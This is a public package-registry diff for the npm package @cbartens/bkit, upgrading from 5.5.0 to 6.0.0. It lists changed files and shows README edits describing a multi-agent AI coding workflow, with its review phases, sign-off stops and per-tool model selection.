@cbartens/bkit 5.5.0 → 6.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bkit/README.md +30 -20
- package/.bkit/core/.agents/docs.md +1 -0
- package/.bkit/core/.agents/rules.md +51 -26
- package/.bkit/core/.bkit/README.md +29 -19
- package/.bkit/core/.bkit/authoring.md +117 -0
- package/.bkit/core/.bkit/cloud.md +11 -11
- package/.bkit/core/.bkit/comparison.md +5 -5
- package/.bkit/core/.bkit/install.md +20 -20
- package/.bkit/core/.bkit/jsonl.md +202 -122
- package/.bkit/core/.bkit/lite.md +1 -1
- package/.bkit/core/.bkit/pipeline.md +49 -52
- package/.bkit/core/.bkit/prompts.md +106 -167
- package/.bkit/core/.bkit/providers.md +29 -32
- package/.bkit/core/.bkit/templates.md +44 -18
- package/.bkit/core/.bkit/trackers.md +60 -28
- package/.bkit/core/.bkit/workflows.md +399 -359
- package/.bkit/core/AGENTS.md +16 -22
- package/.bkit/core/docs/templates/bkit-audit-accessibility.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-adoption.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-agents.md +19 -43
- package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-analytics.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-annotations.md +11 -35
- package/.bkit/core/docs/templates/bkit-audit-app-performance.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-app-store.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-architecture.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-config.md +18 -42
- package/.bkit/core/docs/templates/bkit-audit-cost.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-coverage.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-database.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-dead-code.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-deferrals.md +15 -38
- package/.bkit/core/docs/templates/bkit-audit-dependencies.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-documentation.md +11 -35
- package/.bkit/core/docs/templates/bkit-audit-duplication.md +18 -42
- package/.bkit/core/docs/templates/bkit-audit-failures.md +13 -37
- package/.bkit/core/docs/templates/bkit-audit-flakes.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-gates.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-issues.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-llm.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-logs.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-models.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-privacy.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-prompts.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-red-team.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-reliability.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-repo.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-security.md +13 -37
- package/.bkit/core/docs/templates/bkit-audit-slop.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-testing.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-usability.md +16 -40
- package/.bkit/core/docs/templates/bkit-plan.md +97 -226
- package/.bkit/core/engine/checks/after/ci-yml.ts +39 -30
- package/.bkit/core/engine/checks/after/github.ts +101 -72
- package/.bkit/core/engine/checks/after/index.ts +10 -12
- package/.bkit/core/engine/checks/after/suppression.ts +8 -5
- package/.bkit/core/engine/checks/after/tools.ts +47 -92
- package/.bkit/core/engine/checks/before/env.ts +2 -2
- package/.bkit/core/engine/checks/before/files.ts +5 -4
- package/.bkit/core/engine/checks/before/index.ts +18 -1
- package/.bkit/core/engine/checks/before/repo.ts +168 -2
- package/.bkit/core/engine/checks/tips/catalogue.ts +16 -5
- package/.bkit/core/engine/checks/tips/detect.ts +34 -0
- package/.bkit/core/engine/checks/tips/index.ts +10 -7
- package/.bkit/core/engine/cli.ts +20 -53
- package/.bkit/core/engine/commands/analysis.ts +171 -140
- package/.bkit/core/engine/commands/ci/ci.ts +6 -6
- package/.bkit/core/engine/commands/comply.ts +77 -103
- package/.bkit/core/engine/commands/install/doctor.ts +2 -2
- package/.bkit/core/engine/commands/install/install.ts +57 -18
- package/.bkit/core/engine/commands/install/uninstall.ts +65 -28
- package/.bkit/core/engine/commands/land.ts +18 -12
- package/.bkit/core/engine/commands/lib.ts +79 -17
- package/.bkit/core/engine/commands/registry.ts +4 -0
- package/.bkit/core/engine/commands/setup/setup.ts +7 -7
- package/.bkit/core/engine/commands/stats.ts +204 -0
- package/.bkit/core/engine/commands/tips.ts +10 -5
- package/.bkit/core/engine/commands/workflow/branches.ts +741 -62
- package/.bkit/core/engine/commands/workflow/challenge.ts +673 -0
- package/.bkit/core/engine/commands/workflow/context.ts +853 -29
- package/.bkit/core/engine/commands/workflow/counters.ts +267 -84
- package/.bkit/core/engine/commands/workflow/decisions.ts +541 -0
- package/.bkit/core/engine/commands/workflow/disk.ts +2 -2
- package/.bkit/core/engine/commands/workflow/fids.ts +793 -33
- package/.bkit/core/engine/commands/workflow/issues.ts +427 -105
- package/.bkit/core/engine/commands/workflow/ledgers.ts +884 -27
- package/.bkit/core/engine/commands/workflow/locks.ts +26 -2
- package/.bkit/core/engine/commands/workflow/plan-blocks.ts +582 -0
- package/.bkit/core/engine/commands/workflow/plan-versions.ts +21 -0
- package/.bkit/core/engine/commands/workflow/prs.ts +166 -30
- package/.bkit/core/engine/commands/workflow/repo.ts +59 -7
- package/.bkit/core/engine/commands/workflow/roadmap.ts +16 -7
- package/.bkit/core/engine/commands/workflow/run-facts.ts +501 -0
- package/.bkit/core/engine/commands/workflow/runs.ts +179 -49
- package/.bkit/core/engine/commands/workflow/runtime.ts +22 -1
- package/.bkit/core/engine/commands/workflow/status.ts +142 -29
- package/.bkit/core/engine/commands/workflow/step-table.ts +339 -0
- package/.bkit/core/engine/commands/workflow/steps.ts +213 -88
- package/.bkit/core/engine/commands/workflow/summary.ts +398 -0
- package/.bkit/core/engine/commands/workflow/tests.ts +1013 -148
- package/.bkit/core/engine/commands/workflow/tracker.ts +1195 -0
- package/.bkit/core/engine/commands/workflow/workflows.ts +984 -207
- package/.bkit/core/engine/commands/workflow/workstreams.ts +11 -5
- package/.bkit/core/engine/commands/workflow/worktrees.ts +276 -22
- package/.bkit/core/engine/install/manifest.ts +11 -9
- package/.bkit/core/engine/install/modules/cloud.ts +21 -13
- package/.bkit/core/engine/install/modules/core.ts +325 -7
- package/.bkit/core/engine/install/modules/opencode.ts +2 -2
- package/.bkit/core/engine/install/version-file.ts +6 -2
- package/.bkit/core/engine/ledgers/migrate.ts +92 -0
- package/.bkit/core/engine/ledgers/status.ts +92 -15
- package/.bkit/core/engine/ledgers/telemetry.ts +1261 -254
- package/.bkit/core/engine/render/hosts.ts +4 -0
- package/.bkit/core/engine/render/models.ts +12 -0
- package/.bkit/core/engine/shared/branches.ts +4 -1
- package/.bkit/core/engine/shared/egress.ts +7 -0
- package/.bkit/core/engine/shared/json.ts +25 -7
- package/.bkit/core/engine/shared/settings.ts +202 -33
- package/.bkit/core/engine/shared/text.ts +361 -0
- package/.bkit/core/engine/tools/grammar-density.ts +215 -0
- package/.bkit/core/engine/tools/instructions-sources.ts +834 -0
- package/.bkit/core/engine/tools/instructions.ts +1751 -0
- package/.bkit/core/hooks/gateguard-engine.js +24 -23
- package/.bkit/core/hooks/guardrails-shell.js +2 -3
- package/.bkit/core/hooks/guardrails-tiers.js +7 -1
- package/.bkit/core/hooks/readguard-engine.js +2 -2
- package/.bkit/core/prompts/bkit-audit-generate.md +62 -25
- package/.bkit/core/prompts/bkit-build-challenge-1.md +40 -17
- package/.bkit/core/prompts/bkit-build-challenge-2.md +44 -17
- package/.bkit/core/prompts/bkit-build-install-skills.md +26 -13
- package/.bkit/core/prompts/bkit-build-plan-convert.md +74 -0
- package/.bkit/core/prompts/bkit-build-plan-current.md +26 -13
- package/.bkit/core/prompts/bkit-build-plan-execute.md +74 -26
- package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +64 -23
- package/.bkit/core/prompts/bkit-build-plan-verify.md +57 -33
- package/.bkit/core/prompts/bkit-debug-abort-handover.md +30 -14
- package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +34 -14
- package/.bkit/core/prompts/bkit-debug-failure-remediate.md +34 -17
- package/.bkit/core/prompts/bkit-debug-failure-reproduce.md +26 -13
- package/.bkit/core/prompts/bkit-debug-failure-soak.md +31 -16
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +21 -11
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +20 -11
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +20 -11
- package/.bkit/core/prompts/bkit-design-generate.md +33 -13
- package/.bkit/core/prompts/bkit-design-organise.md +25 -12
- package/.bkit/core/prompts/bkit-design-review-1.md +31 -15
- package/.bkit/core/prompts/bkit-design-review-2.md +28 -13
- package/.bkit/core/prompts/bkit-design-spike.md +30 -13
- package/.bkit/core/prompts/bkit-design-update.md +33 -19
- package/.bkit/core/prompts/bkit-plan-generate.md +75 -19
- package/.bkit/core/prompts/bkit-plan-review-1.md +50 -27
- package/.bkit/core/prompts/bkit-plan-review-2.md +59 -28
- package/.bkit/core/prompts/bkit-plan-scope-check.md +109 -0
- package/.bkit/core/prompts/bkit-plan-update.md +61 -24
- package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +27 -15
- package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +31 -16
- package/.bkit/core/prompts/bkit-ship-update-docs.md +30 -15
- package/.bkit/core/prompts/bkit-utility-compress-markdown.md +24 -14
- package/.bkit/core/prompts/bkit-utility-update-decisions.md +32 -14
- package/.bkit/core/prompts/bkit-utility-update-deferrals.md +29 -14
- package/.bkit/core/prompts/bkit-utility-update-documentation.md +28 -13
- package/.bkit/core/prompts/bkit-utility-update-failures.md +31 -14
- package/.bkit/core/prompts/bkit-utility-update-knowledge.md +33 -14
- package/.bkit/core/prompts/bkit-utility-update-roadmap.md +38 -17
- package/.bkit/core/prompts/bkit-utility-update-tracker.md +43 -20
- package/.bkit/core/workflows/bkit-auto.md +54 -46
- package/.bkit/core/workflows/bkit-build.md +577 -458
- package/.bkit/core/workflows/bkit-debug.md +348 -333
- package/.bkit/core/workflows/bkit-design.md +201 -237
- package/.bkit/core/workflows/bkit-plan.md +210 -321
- package/.bkit/core/workflows/bkit-ship.md +328 -278
- package/.bkit/shared/.bkit/.env.example +2 -2
- package/.bkit/shared/.claude/settings.json +11 -0
- package/.bkit/shared/.cursor/mcp.json +1 -1
- package/.bkit/shared/.cursor/rules/bkit-rules.mdc +1 -1
- package/.bkit/shared/.gitattributes +1 -1
- package/.bkit/shared/.mcp.json +1 -1
- package/.bkit/shared/.opencode/opencode.json +11 -0
- package/.bkit/shared/CLAUDE.md +2 -2
- package/.bkit/shared/GEMINI.md +2 -2
- package/.bkit/shared/docs/architecture.md +1 -1
- package/.bkit/shared/docs/data-schema.md +1 -1
- package/.bkit/shared/docs/deployments.md +16 -28
- package/.bkit/shared/docs/design.md +1 -1
- package/.bkit/shared/docs/noise.md +1 -1
- package/.bkit/shared/docs/observability.md +2 -2
- package/.bkit/shared/docs/security.md +1 -1
- package/.bkit/shared/docs/setup.md +1 -1
- package/.bkit/shared/docs/technology.md +1 -1
- package/.bkit/shared/docs/testing.md +27 -10
- package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +1 -1
- package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-change.yml +26 -5
- package/.bkit/templates/.github/workflows/bkit-ci.yml +22 -84
- package/.bkit/templates/.github/workflows/bkit-cloud.yml +21 -19
- package/.bkit/templates/.husky/pre-push +52 -13
- package/.bkit/templates/.prettierignore +7 -0
- package/.bkit/templates/scripts/ci/bkit-local-stack-lock.sh +194 -0
- package/.bkit/templates/scripts/ci/check-capstone.mjs +2 -4
- package/.bkit/templates/scripts/ci/check-capstone.test.mjs +4 -23
- package/.bkit/templates/scripts/ci/lanes/resolve-push-base.mjs +104 -23
- package/.bkit/templates/scripts/ci/lanes/resolve-push-base.test.mjs +103 -6
- package/.bkit/templates/scripts/cleanup/bkit-disk-prune.mjs +1 -1
- package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +3 -1
- package/.bkit/templates/scripts/prettier/bkit-insert-ignore.mjs +49 -29
- package/CHANGELOG.md +142 -0
- package/README.md +58 -34
- package/dist/checks/after/ci-yml.js +39 -29
- package/dist/checks/after/github.js +99 -72
- package/dist/checks/after/index.js +11 -13
- package/dist/checks/after/suppression.js +8 -5
- package/dist/checks/after/tools.js +40 -83
- package/dist/checks/before/env.js +2 -2
- package/dist/checks/before/files.js +5 -3
- package/dist/checks/before/index.js +15 -2
- package/dist/checks/before/repo.js +163 -2
- package/dist/checks/tips/catalogue.js +14 -5
- package/dist/checks/tips/detect.js +32 -0
- package/dist/checks/tips/index.js +7 -5
- package/dist/cli.js +19 -47
- package/dist/commands/analysis.js +109 -100
- package/dist/commands/ci/ci.js +6 -6
- package/dist/commands/comply.js +54 -91
- package/dist/commands/install/doctor.js +2 -2
- package/dist/commands/install/install.js +50 -19
- package/dist/commands/install/uninstall.js +59 -28
- package/dist/commands/land.js +16 -12
- package/dist/commands/lib.js +51 -16
- package/dist/commands/registry.js +4 -0
- package/dist/commands/setup/setup.js +7 -7
- package/dist/commands/stats.js +136 -0
- package/dist/commands/tips.js +7 -3
- package/dist/commands/workflow/branches.js +656 -56
- package/dist/commands/workflow/challenge.js +556 -0
- package/dist/commands/workflow/context.js +709 -30
- package/dist/commands/workflow/counters.js +208 -75
- package/dist/commands/workflow/decisions.js +441 -0
- package/dist/commands/workflow/disk.js +2 -2
- package/dist/commands/workflow/fids.js +689 -33
- package/dist/commands/workflow/issues.js +362 -99
- package/dist/commands/workflow/ledgers.js +762 -27
- package/dist/commands/workflow/locks.js +24 -2
- package/dist/commands/workflow/plan-blocks.js +437 -0
- package/dist/commands/workflow/plan-versions.js +22 -0
- package/dist/commands/workflow/prs.js +142 -32
- package/dist/commands/workflow/repo.js +52 -7
- package/dist/commands/workflow/roadmap.js +9 -7
- package/dist/commands/workflow/run-facts.js +426 -0
- package/dist/commands/workflow/runs.js +144 -43
- package/dist/commands/workflow/runtime.js +12 -1
- package/dist/commands/workflow/status.js +130 -29
- package/dist/commands/workflow/step-table.js +276 -0
- package/dist/commands/workflow/steps.js +171 -80
- package/dist/commands/workflow/summary.js +275 -0
- package/dist/commands/workflow/tests.js +834 -136
- package/dist/commands/workflow/tracker.js +983 -0
- package/dist/commands/workflow/workflows.js +834 -195
- package/dist/commands/workflow/workstreams.js +11 -5
- package/dist/commands/workflow/worktrees.js +221 -22
- package/dist/install/manifest.js +11 -9
- package/dist/install/modules/cloud.js +22 -13
- package/dist/install/modules/core.js +326 -7
- package/dist/install/modules/opencode.js +2 -2
- package/dist/install/version-file.js +6 -2
- package/dist/ledgers/migrate.js +81 -0
- package/dist/ledgers/status.js +61 -8
- package/dist/ledgers/telemetry.js +905 -124
- package/dist/render/hosts.js +4 -0
- package/dist/render/models.js +12 -0
- package/dist/shared/branches.js +3 -1
- package/dist/shared/egress.js +7 -0
- package/dist/shared/json.js +20 -7
- package/dist/shared/settings.js +147 -26
- package/dist/shared/text.js +333 -0
- package/dist/tools/grammar-density.js +183 -0
- package/dist/tools/instructions-sources.js +721 -0
- package/dist/tools/instructions.js +1579 -0
- package/package.json +114 -23
- package/.bkit/core/engine/commands/harvest.ts +0 -459
- package/.bkit/core/engine/tools/wording.ts +0 -748
- package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +0 -69
- package/.bkit/core/prompts/bkit-build-challenge-remediate.md +0 -71
- package/.bkit/core/prompts/bkit-build-challenge-tests.md +0 -74
- package/.bkit/core/prompts/bkit-build-summary.md +0 -94
- package/.bkit/core/prompts/bkit-debug-summary.md +0 -96
- package/.bkit/core/prompts/bkit-design-summary.md +0 -107
- package/.bkit/core/prompts/bkit-plan-complexity-check.md +0 -67
- package/.bkit/core/prompts/bkit-plan-complexity-split.md +0 -88
- package/.bkit/core/prompts/bkit-plan-review-3.md +0 -93
- package/.bkit/core/prompts/bkit-plan-scope-check-1.md +0 -85
- package/.bkit/core/prompts/bkit-plan-scope-check-2.md +0 -85
- package/.bkit/core/prompts/bkit-plan-summary.md +0 -107
- package/.bkit/core/prompts/bkit-ship-summary.md +0 -78
- package/.bkit/templates/scripts/ci/lanes/check-tree-cache.mjs +0 -138
- package/.bkit/templates/scripts/ci/lanes/check-tree-cache.test.mjs +0 -181
- package/dist/commands/harvest.js +0 -353
- package/dist/tools/wording.js +0 -680
package/README.md
CHANGED
|
@@ -35,7 +35,7 @@ AI coding agents are fast, but on their own they skip what makes software safe t
|
|
|
35
35
|
**bkit is that process, ready-made.** Describe a feature in a GitHub, Linear or Jira issue and type one command:
|
|
36
36
|
|
|
37
37
|
```text
|
|
38
|
-
/bkit-design
|
|
38
|
+
/bkit-design issue #123
|
|
39
39
|
```
|
|
40
40
|
|
|
41
41
|
AI agents design it, plan it, build it, have it reviewed by agents that didn't write it, fix what breaks and ship it, keeping project docs and memory current along the way. You read the design and the plan and make the call.
|
|
@@ -50,7 +50,7 @@ AI agents design it, plan it, build it, have it reviewed by agents that didn't w
|
|
|
50
50
|
<p align="center">
|
|
51
51
|
<picture>
|
|
52
52
|
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-features-dark.svg">
|
|
53
|
-
<img alt="What ships with bkit, one coloured row per phase. Design: three rival designs, probe code for the risky unknowns, reads your history, reviewed for failure modes. Plan:
|
|
53
|
+
<img alt="What ships with bkit, one coloured row per phase. Design: three rival designs, probe code for the risky unknowns, reads your history, reviewed for failure modes. Plan: one review round, self-contained tasks, learns from past bugs and postponed work, more than 30 audits. Build: test first and verified, hunts bugs and security holes, checks the plan is still current, skills on demand. Debug: outside evidence from CI and your platforms, root cause first, hard-bug mode, knows when to stop. Ship: honest CI, nothing quietly dropped, docs and memory, never touches main. Every phase: any AI tool, best model per job, independent review, laptop to cloud." src=".github/assets/bkit-features-light.svg" width="100%">
|
|
54
54
|
</picture>
|
|
55
55
|
</p>
|
|
56
56
|
|
|
@@ -80,7 +80,7 @@ Everything a senior team would otherwise write down over years, in files you can
|
|
|
80
80
|
<p align="center">
|
|
81
81
|
<picture>
|
|
82
82
|
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-pipeline-dark.svg">
|
|
83
|
-
<img alt="The bkit pipeline: design, plan, build and ship, with debug fixing failed tests. Each dot is one of
|
|
83
|
+
<img alt="The bkit pipeline: design, plan, build and ship, with debug fixing failed tests. Each dot is one of 30 AI agents: 9 in design, 5 in plan, 8 in build, 5 in debug and 3 in ship. It waits for your sign-off after design, after plan and before merge, merges into dev, and leaves production to you. Runs on Claude Code, Cursor, Codex, Antigravity and opencode." src=".github/assets/bkit-pipeline-light.svg" width="100%">
|
|
84
84
|
</picture>
|
|
85
85
|
</p>
|
|
86
86
|
|
|
@@ -90,8 +90,8 @@ Everything a senior team would otherwise write down over years, in files you can
|
|
|
90
90
|
| Job | Command | What happens |
|
|
91
91
|
| --- | --- | --- |
|
|
92
92
|
| Work out how to build it | [`/bkit-design`](.bkit/pipeline.md#bkit-design) | Reads related issues and past decisions. Three agents propose different approaches, two critique them, and throwaway code tests any risky unknown the reviewers flag. **You approve one design.** |
|
|
93
|
-
| Plan the work | [`/bkit-plan`](.bkit/pipeline.md#bkit-plan) | A
|
|
94
|
-
| Build it | [`/bkit-build`](.bkit/pipeline.md#bkit-build) | Checks the plan still matches the code,
|
|
93
|
+
| Plan the work | [`/bkit-plan`](.bkit/pipeline.md#bkit-plan) | A plan of small, self-contained tasks, each naming the code it touches and the test that proves it's done. Two reviewers and a scope check go over it in one round, with past bugs and postponed work in view. **You approve it.** |
|
|
94
|
+
| Build it | [`/bkit-build`](.bkit/pipeline.md#bkit-build) | Checks the plan still matches the code, then builds it one group of tasks at a time, each with a fresh agent: tests first, then code, then an independent check. Hunts for bugs and security holes (only security holes on a small change), fixes what it finds as more tasks, and opens a pull request. |
|
|
95
95
|
| Fix what broke | [`/bkit-debug`](.bkit/pipeline.md#bkit-debug) | Pulls evidence from CI and your platforms, fixes the root cause, re-tests and records the lesson. Hard runtime bugs get their own mode; if it can't fix something, it stops and writes you a clear handover. |
|
|
96
96
|
| Ship it | [`/bkit-ship`](.bkit/pipeline.md#bkit-ship) | Checks nothing planned was quietly dropped, waits for every test lane to pass, merges into `dev` and updates the docs. |
|
|
97
97
|
| Small, clearly safe change | [`*:lite`](.bkit/lite.md) | One prompt to paste per phase (`design:lite` to `ship:lite`). The agent keeps only the steps and reviewers the change needs and works on the current branch: no separate repo copy, pull request, CI or sign-off stops. Never for schema changes, public APIs, dependencies, secrets, auth or large refactors. |
|
|
@@ -106,19 +106,26 @@ Every agent in each phase, in the order it runs and what it checks: [pipeline re
|
|
|
106
106
|
|
|
107
107
|
**Claude sets the bar, and every other tool gets the model that comes closest to it.** On every other tool, each agent runs on the model that does the same job about as well as Claude, for the least money. You don't pick: install sets each agent's model.
|
|
108
108
|
|
|
109
|
+
<p align="center">
|
|
110
|
+
<picture>
|
|
111
|
+
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-models-dark.svg">
|
|
112
|
+
<img alt="Change the model, not the effort. The Claude model and effort behind each of bkit's 39 agents and 5 orchestrators. Opus 5.5 at Medium: /bkit-design, /bkit-plan, /bkit-debug, 1 agents; Opus 5.5 at High: 19 agents; Opus 5.5 at Extra: 7 agents; Sonnet 5.5 at Medium: /bkit-build, /bkit-ship, 6 agents; Sonnet 5.5 at High: 6 agents. Fable 5.1 is never pinned: use it by hand to refine an idea before /bkit-design, and at Extra for a bug /bkit-debug is stuck on. Pick the model at launch: claude-opus-5-5 for /bkit-design, /bkit-plan, /bkit-debug; claude-sonnet-5-5 for /bkit-build, /bkit-ship. Leave the effort alone: medium is the default on the 5.5 models, every agent sets its own, and never set CLAUDE_CODE_EFFORT_LEVEL. Past High, move up a model: Extra costs more than the next model up at High. Max is for one hard problem, never routine; ultracode is a setting, not a level." src=".github/assets/bkit-models-light.svg" width="100%">
|
|
113
|
+
</picture>
|
|
114
|
+
</p>
|
|
115
|
+
|
|
109
116
|
**How the picks are made.** Each kind of job has a bar: Claude's score on [LiveBench Agentic Coding](https://livebench.ai/#/?cats=Agentic+Coding), a public test where models fix real code in JavaScript, TypeScript and Python. For each tool, bkit takes the **cheapest model that reaches the bar**. Where nothing reaches it, the tool's best model gets the job. One model can fill two columns: on opencode, DeepSeek V4.1 Flash clears the bar for the hardest jobs, so it does the everyday jobs too, for a fraction of Claude's cost. Claude is never used on opencode, because opencode is where work goes when your Claude allowance runs out.
|
|
110
117
|
|
|
111
118
|
<!-- prettier-ignore -->
|
|
112
|
-
| Tool | Hardest jobs: design, plans, reviews, security, audits | Everyday jobs: writing code and docs, the second model in each review pair |
|
|
113
|
-
| --- | --- | --- |
|
|
114
|
-
| Claude Code | `claude-opus-5-5` · bar **65.2** | `claude-sonnet-5-5` · bar **59.4** |
|
|
115
|
-
| Cursor | `cursor-grok-4.5-high` · 56.5 | `composer-2.5` · not measured |
|
|
116
|
-
| opencode + OpenRouter | `deepseek/deepseek-v4.1-flash` · 77.3; `moonshotai/kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek/deepseek-v4.1-flash` · 77.3 |
|
|
117
|
-
| opencode + Ollama | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
118
|
-
| opencode + OpenCode Zen | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
119
|
-
| opencode + OpenCode Go | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
120
|
-
| Codex | `gpt-6-astra` · not measured | `gpt-5.6-terra` · not measured |
|
|
121
|
-
| Google Antigravity | `gemini-3.8-pro` · not measured | `gemini-3.8-pro` · not measured |
|
|
119
|
+
| Tool | Hardest jobs: design, plans, reviews, security, audits | Everyday jobs: writing code and docs, the second model in each review pair |
|
|
120
|
+
| --- | --- | --- |
|
|
121
|
+
| Claude Code | `claude-opus-5-5` · bar **65.2** | `claude-sonnet-5-5` · bar **59.4** |
|
|
122
|
+
| Cursor | `cursor-grok-4.5-high` · 56.5 | `composer-2.5` · not measured |
|
|
123
|
+
| opencode + OpenRouter | `deepseek/deepseek-v4.1-flash` · 77.3; `moonshotai/kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek/deepseek-v4.1-flash` · 77.3 |
|
|
124
|
+
| opencode + Ollama | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
125
|
+
| opencode + OpenCode Zen | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
126
|
+
| opencode + OpenCode Go | `deepseek-v4.1-flash` · 77.3; `kimi-k3` · 62.2 for risk, security and root-cause agents | `deepseek-v4.1-flash` · 77.3 |
|
|
127
|
+
| Codex | `gpt-6-astra` · not measured | `gpt-5.6-terra` · not measured |
|
|
128
|
+
| Google Antigravity | `gemini-3.8-pro` · not measured | `gemini-3.8-pro` · not measured |
|
|
122
129
|
|
|
123
130
|
**Reading the table:**
|
|
124
131
|
|
|
@@ -129,6 +136,8 @@ Every agent in each phase, in the order it runs and what it checks: [pipeline re
|
|
|
129
136
|
- **Ollama needs a paid plan for every column.** The free models are far below the bar or not scored.
|
|
130
137
|
- **Want a different model for one agent?** On Cursor and opencode, add a row to [Model Overrides](.bkit/prompts.md#model-overrides) and run `bkit install` again. Every agent with its model and thinking depth: [`.bkit/prompts.md` § Models](.bkit/prompts.md#models).
|
|
131
138
|
|
|
139
|
+
**On Claude Code, each agent also sets its own effort**, so the effort you leave your session on never changes theirs. Start each `/bkit-*` command on the model the picture above shows and leave effort at the default. Session setup in full: [`.bkit/prompts.md` § Orchestrators](.bkit/prompts.md#orchestrators-slash-commands).
|
|
140
|
+
|
|
132
141
|
<a id="why-its-different"></a>
|
|
133
142
|
|
|
134
143
|
## Why it's different
|
|
@@ -140,7 +149,7 @@ Every agent in each phase, in the order it runs and what it checks: [pipeline re
|
|
|
140
149
|
</picture>
|
|
141
150
|
</p>
|
|
142
151
|
|
|
143
|
-
**Most AI development frameworks are prompts:** they describe good work and trust the agent to deliver it. But an agent can be talked into calling something done, and a prompt can't stop it. **bkit builds fences instead.** Reviewer agents that didn't write the work fence in the design and the plan. They never see each other's verdicts, and several review groups mix models on purpose, so one model's blind spot is less likely to get past all of them. From the first line of code, automated checks join them, and those can't be argued with.
|
|
152
|
+
**Most AI development frameworks are prompts:** they describe good work and trust the agent to deliver it. But an agent can be talked into calling something done, and a prompt can't stop it. **bkit builds fences instead.** Reviewer agents that didn't write the work fence in the design and the plan. They never see each other's verdicts, and several review groups mix models on purpose, so one model's blind spot is less likely to get past all of them. From the first line of code, automated checks join them, and those can't be argued with. **The fences are code, not instructions:** `bkit` won't let a step finish without its verdict and files, won't pass a task whose test it didn't see fail first, and stops a fix that didn't work after one round.
|
|
144
153
|
|
|
145
154
|
<a id="agents-and-ci"></a>
|
|
146
155
|
|
|
@@ -273,10 +282,10 @@ All templates, what each is for, and how to install them: [`.bkit/templates.md`]
|
|
|
273
282
|
|
|
274
283
|
### Engineering know-how, built in
|
|
275
284
|
|
|
276
|
-
- **Best model for each job, on every tool.** Each agent has its own model and thinking depth, per tool and provider: deep reasoning models for architecture and security review,
|
|
285
|
+
- **Best model for each job, on every tool.** Each agent has its own model and thinking depth, per tool and provider: deep reasoning models for architecture and security review, faster ones for writing code and docs. Starting a session on a cheaper model never quietly downgrades the reviewers. [Which model does each job](#models).
|
|
277
286
|
- **It tests ideas before you commit to them.** When reviewers flag an unknown a design depends on, design writes throwaway probe code to settle it before you approve. A design reviewer also checks failure modes and monitoring, not just whether it can be built.
|
|
278
|
-
- **Big features are
|
|
279
|
-
- **Numbers on your own work.** Every run records its time, size of change and
|
|
287
|
+
- **Big features are built a group at a time.** The plan's tasks are grouped by the code they share. Each group gets a fresh agent and a short brief from `bkit`, never the whole plan, and an independent check of just that group's changes before the next group starts.
|
|
288
|
+
- **Numbers on your own work.** Every run records its time, size of change, retries and the tokens each agent read in `.bkit/stats.jsonl`, and posts them to the issue next to the median of your last five runs.
|
|
280
289
|
|
|
281
290
|
### It fits how you work
|
|
282
291
|
|
|
@@ -297,6 +306,8 @@ All templates, what each is for, and how to install them: [`.bkit/templates.md`]
|
|
|
297
306
|
|
|
298
307
|
- **Decide in plain English, not code.** Before any code is written you approve two short documents: a design ("three ways to build this; we recommend this one, because…") and a plan ("these twelve steps, and how we'll know each is done").
|
|
299
308
|
- **Three sign-offs, and production stays yours.** The full workflows stop after the design, after the plan and before merging. bkit merges into your `dev` branch and never touches `main`: promoting to production is always your call. Cloud mode ships on green without you only for issues you've labelled `bkit:auto`; removing the label stops it. Lite workflows skip the stops, and only run when you choose them for a small change.
|
|
309
|
+
